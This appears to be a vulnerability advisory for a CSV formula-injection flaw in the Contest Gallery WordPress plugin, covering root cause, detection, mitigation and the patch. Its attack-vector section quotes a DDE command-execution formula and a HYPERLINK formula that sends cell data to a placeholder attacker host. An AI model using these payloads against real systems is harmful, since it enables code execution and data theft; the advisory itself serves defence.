CVE-2025-11254: Contest Gallery WordPress Plugin RCE Flaw

CVE-2025-11254 Overview

CVE-2025-11254 affects the Contest Gallery – Upload, Vote & Sell with PayPal and Stripe plugin for WordPress. All versions up to and including 27.0.3 are vulnerable to CSV Injection [CWE-1236] through gallery submissions. Unauthenticated attackers can embed untrusted input into exported CSV files. When an administrator downloads and opens the export in a spreadsheet application with a vulnerable configuration, embedded formulas can trigger code execution on the local system.

Critical Impact
Unauthenticated attackers can inject malicious formulas into gallery submissions that execute code when exported CSV files are opened by administrators in spreadsheet applications.

Affected Products

Contest Gallery – Upload, Vote & Sell with PayPal and Stripe plugin for WordPress
All versions up to and including 27.0.3
Fixed in version 28.0.0

Discovery Timeline

2025-10-11 - CVE-2025-11254 published to the National Vulnerability Database (NVD)
2026-06-17 - Last updated in NVD database

Technical Details for CVE-2025-11254

Vulnerability Analysis

The vulnerability is a CSV Injection flaw, also known as Formula Injection, categorized under [CWE-1236: Improper Neutralization of Formula Elements in a CSV File]. Contest Gallery accepts submissions from unauthenticated users through its gallery submission functionality. The plugin stores this input without neutralizing spreadsheet formula characters such as =, +, -, and @.

When a WordPress administrator later exports gallery data to CSV through the backend rendering functions in cg-backend-gallery-general.php, the untrusted input is written directly into the exported file. Opening the CSV in Microsoft Excel, LibreOffice Calc, or Google Sheets can cause the spreadsheet engine to interpret the leading character as a formula. Formulas can invoke functions such as DDE, HYPERLINK, or WEBSERVICE to exfiltrate data or execute commands.

Root Cause

The root cause is missing output neutralization during CSV export. The plugin fails to prefix or sanitize cell values that begin with formula-trigger characters before writing them to the CSV output stream. The fix in version 28.0.0 modifies the backend gallery rendering logic to properly neutralize these characters. See the WordPress Change Set 28.0.0 for the code changes.

Attack Vector

An unauthenticated attacker submits gallery content containing a malicious payload beginning with a formula character. Common payloads include =cmd|'/C calc'!A1 for DDE-based command execution on Windows systems, or =HYPERLINK("http://attacker/?data="&A1,"click") for data exfiltration. The payload sits dormant in the WordPress database until an administrator exports gallery data and opens the resulting file. Successful exploitation requires user interaction from the victim administrator. Additional detail is available in the Wordfence Vulnerability Report.

Detection Methods for CVE-2025-11254

Indicators of Compromise

Gallery submission entries containing values that begin with =, +, -, @, tab, or carriage return characters.
Exported CSV files from Contest Gallery containing DDE, HYPERLINK, WEBSERVICE, or IMPORTXML function calls.
Outbound network connections from administrator workstations to unknown domains immediately after opening a Contest Gallery CSV export.
Child processes such as cmd.exe, powershell.exe, or mshta.exe spawned by excel.exe or soffice.bin.

Detection Strategies

Query the WordPress database for gallery submission fields where values start with formula-trigger characters.
Inspect CSV exports before opening them, using a text editor to review cell contents for suspicious formula prefixes.
Monitor endpoint telemetry for spreadsheet applications spawning command interpreters or making external network requests.
Review WordPress access logs for anonymous POST requests to Contest Gallery submission endpoints containing formula characters in payload data.

Monitoring Recommendations

Enable detailed logging on WordPress for plugin submission events and administrator export actions.
Configure endpoint detection to alert on Office and spreadsheet processes launching scripting hosts or shells.
Monitor DNS and proxy logs for requests originating from workstations shortly after CSV file opens.
Track installed versions of the Contest Gallery plugin across managed WordPress sites and flag any at 27.0.3 or earlier.

How to Mitigate CVE-2025-11254

Immediate Actions Required

Update the Contest Gallery plugin to version 28.0.0 or later on all affected WordPress installations.
Audit existing gallery submission data for entries starting with formula-trigger characters and sanitize or remove them.
Instruct administrators to avoid opening CSV exports from untrusted or unpatched Contest Gallery instances until the update is applied.
Review recent CSV exports and administrator workstation activity for signs of exploitation.

Patch Information

The vendor released version 28.0.0 of the Contest Gallery plugin, which neutralizes formula-trigger characters during CSV export. The relevant code changes are in functions/backend/render/cg-backend-gallery-general.php. See the WordPress Change Set Overview for the full diff between 27.0.3 and 28.0.0.

Workarounds

Configure spreadsheet applications to disable Dynamic Data Exchange (DDE) and external content by default.
Enable Protected View in Microsoft Excel for files originating from the internet or downloaded exports.
Manually prefix cell values with a single quote when reviewing CSV data, or open exports in a plain text editor first.
Restrict unauthenticated submissions to the Contest Gallery plugin using access controls or a web application firewall rule that blocks formula characters at the start of submission fields.

bash

# Example WP-CLI command to update the plugin to the fixed version
wp plugin update contest-gallery --version=28.0.0

# Verify installed version across sites
wp plugin get contest-gallery --field=version